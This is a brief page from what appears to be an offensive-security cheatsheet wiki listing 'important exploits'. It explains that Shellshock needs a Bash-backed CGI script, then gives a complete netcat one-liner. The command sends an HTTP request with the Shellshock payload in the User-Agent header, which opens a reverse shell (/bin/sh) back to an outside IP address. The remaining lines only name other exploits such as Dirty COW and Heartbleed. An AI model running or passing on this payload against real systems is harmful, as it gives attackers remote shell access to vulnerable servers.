Important exploits
From Grayhat cheatsheets
Jump to navigationJump to search- Shellshock: To exploit "Shellshock", we need to find a way to "talk" to Bash. This implies finding a CGI that will use Bash. CGIs commonly use Python or Perl but it's not uncommon to find (on old servers), CGI written in Shell or even C. shellshock reverse shell:
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
- Dirty COW
- Heartbleed
- Mempodipper
- Openfuck
- Churrasco